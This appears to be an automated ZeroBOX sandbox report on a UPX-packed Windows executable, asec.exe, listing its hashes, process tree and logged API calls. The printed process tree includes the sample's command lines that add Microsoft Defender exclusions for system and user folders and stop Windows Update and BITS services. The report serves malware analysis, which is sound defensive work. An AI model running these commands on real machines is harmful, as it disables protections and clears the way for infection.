Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	July 26, 2024, 11:57 a.m.	July 26, 2024, 12:02 p.m.

Size	11.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`132609f10f23a5a1fc5653ae7e91bdb2`
SHA256	`9a53a95b0c1288c8e723030c47029455cb2c15ab69732f2a9fc2aad6b418a200`
CRC32	`F8D75100`
ssdeep	`192:B2Zxy66nOB3ZC3S+42V+GyEG9malsDfxuCnJx3ptpJ+fl:B2Zxy66nOB3g3c2EQG9blsD885Q`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description) UPX_Zero - UPX packed file

asec.exe "C:\Users\test22\AppData\Local\Temp\asec.exe"
872
- cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
  940
  - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
    2164
- cmd.exe "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
  2072
  - sc.exe sc stop UsoSvc
    2224
  - sc.exe sc stop WaaSMedicSvc
    2296
  - sc.exe sc stop wuauserv
    2368
  - sc.exe sc stop DoSvc
    2432
  - sc.exe sc stop BITS
    2480

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
144.160.159.21	Active	Moloch
144.160.235.143	Active	Moloch
67.195.204.80	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 26, 2024, 11:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 11:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 11:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 11:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 26, 2024, 11:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 26, 2024, 11:57 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 26, 2024, 11:57 a.m.			0	0

Command line console output was observed (32 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath $env:windir; Add-MpPreference -Exclusio console_handle: 0x00000053	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: nPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE console_handle: 0x0000005f	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x000000a3	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x000000af	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x000000bb	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: At line:1 char:62 console_handle: 0x000000c7	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: + Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference <<<< -Exclusio console_handle: 0x000000d3	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: nPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE console_handle: 0x000000df	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x000000eb	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: mmandNotFoundException console_handle: 0x000000f7	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000103	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000123	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000012f	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000013b	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: At line:1 char:105 console_handle: 0x00000147	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: + Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath console_handle: 0x00000153	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: $env:TEMP; Add-MpPreference <<<< -ExclusionPath $env:USERPROFILE console_handle: 0x0000015f	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000016b	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: mmandNotFoundException console_handle: 0x00000177	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000183	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: [SC] OpenService FAILED 1060: The specified service does not exist as an installed service. console_handle: 0x00000007	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: [SC] OpenService FAILED 1060: The specified service does not exist as an installed service. console_handle: 0x00000007	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: [SC] ControlService FAILED 1062: The service has not been started. console_handle: 0x00000007	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: [SC] OpenService FAILED 1060: The specified service does not exist as an installed service. console_handle: 0x00000007	1	1
WriteConsoleW July 26, 2024, 11:57 a.m.	buffer: [SC] ControlService FAILED 1062: The service has not been started. console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00544ea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545468 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545468 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545468 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00544be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00544be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00544be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00544be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00544be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00544be8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545468 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545468 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545468 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545068 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005456e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005458e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 26, 2024, 11:57 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00545368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 26, 2024, 11:57 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 137 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 1966080 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02960000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0259a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02592000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02961000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02962000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0259b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02810000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04ab9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04aba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04abb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04abc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04abd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04abe000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 26, 2024, 11:57 a.m.	process_identifier: 2164 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04abf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
